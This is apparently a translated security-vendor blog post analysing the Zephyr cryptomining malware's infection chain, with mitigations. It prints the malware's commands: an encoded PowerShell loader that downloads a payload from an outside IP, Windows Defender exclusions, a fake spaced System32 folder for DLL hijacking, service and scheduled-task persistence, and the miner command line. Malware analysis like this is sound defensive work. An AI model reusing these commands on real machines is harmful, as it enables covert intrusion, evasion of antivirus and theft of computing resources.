Zephyr挖矿恶意软件:劫持系统资源牟利的技术剖析

本文详细分析了Zephyr挖矿恶意软件的技术细节,包括其通过VBS、BAT、PowerShell和PE四种方式传播的机制,以及如何利用系统服务实现持久化运行和逃避安全检测的完整攻击链。

Crypto Mining Malware: Hijacking Your Resources for Profit

Persistence in the Shadows: A Study of Zephyr Miner Exploiting System Services

By Rayapati Lakshmi Prasanna Sai
2 December 2024 | 8 min read

Crypto Mining

加密货币挖矿是个人或组织使用计算机算力解决复杂数学问题,验证区块链网络交易并赚取加密货币的过程。随着数字货币价值增长,这种活动日益流行,导致一些恶意行为者利用用户设备谋取私利。网络犯罪分子经常采用网络钓鱼邮件或欺骗性下载等策略,在用户不知情的情况下安装挖矿软件(也称为加密货币挖矿恶意软件)。一旦安装,该软件会耗尽设备的CPU和GPU资源,导致系统变慢、过热,甚至长期硬件损坏。

这些挖矿脚本通常在后台静默运行,伪装成合法进程,使其难以检测。它们还可能使用混淆技术逃避安全软件,与外部服务器通信发送挖取的货币,并更改系统设置以维持运行。了解这些风险对用户保护系统免受利用、确保设备高效运行至关重要。

Zephyr Coin

Zephyr Coin(ZEPH)于2018年推出,是一种优先考虑在线交易隐私和安全的数字货币。它的创建旨在为人们提供安全的方式发送和接收资金,而无需暴露个人信息。Zephyr Coin运行在权益证明系统上,意味着用户仅通过持有货币即可获得奖励。这不仅使网络更安全,还鼓励更多人参与。多年来,Zephyr Coin因其强大的隐私功能和用户友好设计而受到关注,成为加密货币领域的重要选择。随着Zephyr Coin的普及,试图利用用户计算能力的网络犯罪分子的兴趣也在增长,表明用户需要更加谨慎并采取额外安全措施保护资源。

Technical Details

该恶意软件变种通过四种方式传播:

  • Visual Basic Script – VBS
  • Batch Processing File – BAT
  • PowerShell Script – PS1
  • Portable Executable – PE

1. Visual Basic Script – VBS执行过程

首先检查特定文件夹(C:\Windows \System32\010101)是否存在,如果不存在,尝试使用PowerShell命令删除整个目录。脚本随后在C:\Windows \System32内创建新目录,复制printui.exe和以"x"d{6}.dat命名的文件,并将其重命名为printui.dll。使用带空格的路径(如C:\Windows \System32)表明故意混淆脚本意图,同时操纵系统资源。完成这些操作后,运行复制的可执行文件,可能促进进一步的恶意活动,与下方执行流程的第5步匹配。

2. Batch Processing File -BAT执行描述

脚本首先将代码页设置为UTF-8,尝试在父目录中打开随机文件夹。检查系统驱动器的"System32"文件夹中是否存在"printui.dll"文件。如果未找到该文件,使用"rmdir"命令和"/S"、"/Q"选项从系统驱动器删除"Windows"文件夹。然后创建名为"Windows \System32"的新目录,并将"printui.exe"从原始位置复制到此新文件夹。此外,传输以"x"d{6}.dat命名的文件,将其重命名为printui.dll。脚本随后验证"printui.exe"和"printui.dll"的存在;如果两者都存在,则执行"printui.exe"。如果文件缺失,脚本删除整个"Windows \System32"文件夹。完成这些操作后,运行复制的可执行文件,可能促进进一步的恶意活动,与下方执行流程的第5步匹配。

3. PowerShell执行描述

这是Base64编码命令:

1
2
powershell -Command "$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String
"Zm9yICg7Oyl7DQoJKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzM3LjEuMTk2LjM1L3VuMi9ib3R1aS5kYXQiLCAiQzpcVXNlcnNcUHVibGljXHB5bGQuZGxsIik7DQoJU3RhcnQtU2xlZXAgLVNlY29uZHMgMjsNCglpZiAoVGVzdC1QYXRoICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiKXsNCgkJY21kIC9jIG1rZGlyICJcXD9cQzpcV2luZG93cyBcU3lzdGVtMzIiOw0KCQljbWQgL2MgeGNvcHkgL3kgIkM6XFdpbmRvd3NcU3lzdGVtMzJccHJpbnR1aS5leGUiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMiI7DQoJCWNtZCAvYyBtb3ZlIC95ICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmRsbCI7DQoJCVN0YXJ0LVNsZWVwIC1TZWNvbmRzIDI7DQoJCVN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmV4ZSI7DQoJCWJyZWFrOw0KCX0NCgllbHNlew0KCQlTdGFydC1TbGVlcCAtU2Vjb25kcyA2MDsNCgl9DQp9"

解码后:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
for (;;){
(New-Object System.Net.WebClient).DownloadFile("http://37.1.196.35/un2/botui.dat", "C:\Users\Public\pyld.dll");
Start-Sleep -Seconds 2;
if (Test-Path "C:\Users\Public\pyld.dll"){
cmd /c mkdir "\\?\C:\Windows \System32";
cmd /c xcopy /y "C:\Windows\System32\printui.exe" "C:\Windows \System32";
cmd /c move /y "C:\Users\Public\pyld.dll" "C:\Windows \System32\printui.dll";
Start-Sleep -Seconds 2;
Start-Process -FilePath "C:\Windows \System32\printui.exe";
break;
}
else{ Start-Sleep -Seconds 60;
}
}

Base64编码的脚本解码后包含从URL(hxxp[:]//37.1.196.35/un2/botui.dat)下载文件的PowerShell命令。它遵循与上述脚本相同的执行过程,printui.exe启动后与第5步的可执行文件操作相同。

图1:执行流程图

4. Portable Executable格式执行过程

该恶意软件传播的方法之一是通过可执行文件(EXE/DLL)。当用户不知情下载并运行这些恶意可执行文件时,会触发恶意软件在其系统上的安装过程。

当用户执行恶意EXE(miner.exe)或xd{6}.dat(正则表达式文件名,为DLL文件)时,完整行为在以下步骤中说明:

  • 恶意软件执行后,通过PowerShell为文件夹创建Windows Defender排除项:
1
powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
  • 然后在system32文件夹中启动usvcinsta64.exe并开始运行。

图2 usvcinsta64.exe在sys32中安装

  • Usvcinsta64.exe再次为以下路径创建排除项:
1
powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"

以及带空格的路径’C:\Windows \System32’:

1
powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
  • 然后使用cmd.exe /c mkdir “\?\C:\Windows \System32"创建目录。因此会有两个同名目录。一个是旧的,另一个突出显示的具有最新日期。

攻击者创建与Windows系统文件夹类似的文件夹结构,但带空格,以欺骗机器并优先执行所需恶意软件。

图3 在根目录C中创建带空格的Windows文件夹

  • 如图3所示,它执行点A、B、C中提到的所有常见操作。然后开始从恶意软件创建的文件夹(C:\Windows \System32)执行printui.exe。
1
cmd.exe /c start "" "C:\Windows \System32\printui.exe"

图4 复制printui.exe

图5 启动printui.exe

以下开始主要执行:

5. printui.exe启动后,再次为windows \ system32和windows\system32创建排除路径以确保安全。然后启动cmd用于服务创建和该服务的注册表键创建。

它还将.dat文件复制到system32文件夹,并为.dat文件创建服务。注意,此处每个变种的服务名称不同。这是给恶意软件的随机服务名称,后跟"X"和xd{6}.dat格式。

1
cmd.exe /c sc create x638273 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x310586\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x310586.dat" /f && sc start x638273

图6 为dat文件生成的随机名称

服务注册后,它在service.exe下启动并运行,我们将在第9点讨论。

6. 然后从system32启动console_zero.exe

1
cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"

7. console_zero.exe的主要任务是检查任何名为"console_zero"的现有计划任务,确保删除旧实例。随后创建新的计划任务,设置为每次用户登录系统时以最高权限运行exe。

1
cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f

8. 执行所有操作并确保以两种形式持久化(一种作为服务,一种作为计划任务)后,usvcinsta64.exe将被删除,windows \system32文件夹和主要样本也被删除。这有助于清除系统中存在的所有痕迹。

图7 恶意软件自删除

这是恶意软件的完整执行。但恶意软件的主要部分在于系统中运行的service。我们将查看在svchost.exe下运行的服务。

服务详情

9. 在svchost.exe下运行的服务使用以下命令为C、D、E、F文件夹创建Windows Defender排除项:

1
2
3
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'c:\windows\system32';"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'E:\';"
C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'F:\';"

10. 然后启动的cmd.exe连接到矿池(2miners.com:2222),包含用户凭据和资源使用限制(最大CPU使用率50%)。它正在挖掘Zephyr币。

1
C:\Windows\System32\cmd.exe cmd.exe /c x310586.dat -o zeph.2miners.com:2222 -u ZEPHs8rW7aS82Z52aS3qh35jPcaYKHdrufzLCCCyXmqdFC8wRPpCTdLgoA1CaqJDa72zG8ZhsMmdMZyJkqDTadbSPbwt1s2ppYr –rig-id=x421236 –max-cpu-usage=50

图8 钱包ID组件

  • x310586dat – 启动的程序
  • 2miners.com:2222 – 指定带端口的矿池域地址
  • ZEPHs8rW7aS82Z52aS3qh35jPcaYKHdrufzLCCCyXmqdFC8wRPpCTdLgoA1CaqJDa72zG8ZhsMmdMZyJkqDTadbSPbwt1s2ppYr – 钱包地址
  • Rig-id:x419395 – 挖矿设置的唯一标识符
  • Max-cpu-usage=50 – 表示恶意软件配置为最多使用50%的CPU处理能力进行挖矿任务

Zephyr钱包详情

总共有两个钱包ID与此类活动关联。下图展示了服务运行时存在的Zephyr钱包地址相关统计信息:

1
ZEPHs8rW7aS82Z52aS3qh35jPcaYKHdrufzLCCCyXmqdFC8wRPpCTdLgoA1CaqJDa72zG8ZhsMmdMZyJkqDTadbSPbwt1s2ppYr

图9 Zephyr矿工钱包详情

1
ZEPHs7Ep8zTafTpfMEduqd5xGYLEvBJwcHXRpbA92fMjVJcji9EXQsDP5QQLVxmn7UTSTFqpmaVdE2ydBwupJctU2ggmsNvqxfd

图10 另一个钱包ID的Zephyr矿工详情

总结

该恶意软件是挖掘Zephyr币的加密货币矿工变种。与其他矿工不同,它采用更复杂的形式,融入所有可能的技术以实现持久化和逃避检测。整体执行方法如下:

  • 初始执行:恶意软件从脚本/可执行文件开始,通过exe和PowerShell触发一系列命令。
  • Windows Defender排除:恶意软件多次将"C:\Windows\System32"目录添加到Windows Defender的排除列表,防止被检测。
  • 通过路径中添加空格进行搜索顺序劫持:创建与"C:\windows\system32"类似的文件夹"C:\Windows\ Sytem32"以劫持并执行所需恶意软件。
  • 服务创建:恶意软件尝试创建名为x310586{随机6位数字}的新服务,在exe下运行,指向恶意DLL(x638273.dat)。这允许恶意软件作为服务持久运行,随系统启动自动启动。
  • 多个文件执行多个操作:恶意软件启动usvcinsta64.exe创建"C:\Windows\ Sytem32"并启动exe进行服务创建,console_zero用于计划任务。
  • 清理操作:最后删除所有痕迹,除了涉及持久化的那些。
  • 挖矿活动:注册为服务的恶意软件连接到矿池(2miners.com:2222),挖掘并将货币添加到命令行中指定的地址。

总体而言,此执行链突出了恶意软件的主要功能:逃避检测、创建加密货币挖矿操作以及在系统内保持持久性。这种行为是寻求利用系统资源获取经济利益的恶意软件更广泛趋势的指示。

缓解措施

为减轻利用系统资源进行加密货币挖矿的恶意软件风险,应采取若干主动措施。

  • 定期软件更新对于保护操作系统和应用程序免受漏洞影响至关重要。
  • 使用具有实时保护和定期扫描的强大防病毒软件可帮助检测和删除恶意软件。
  • 限制管理员权限可防止未经授权的安装,而资源监控工具可识别表明挖矿活动的异常CPU和GPU使用情况。
  • 配置防火墙阻止未经授权的出站连接,特别是到已知矿池的连接,增加另一层安全防护。

这些策略共同可显著增强组织对加密货币挖矿恶意软件的防御能力。

Quick Heal检测

Quick Heal防病毒通过静态和动态分析方法有效检测所有加密货币挖矿恶意软件变种,包括PE和非PE文件,确保立即识别负责挖矿活动的威胁。

IOCs

Zephyr Miner IOCs

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计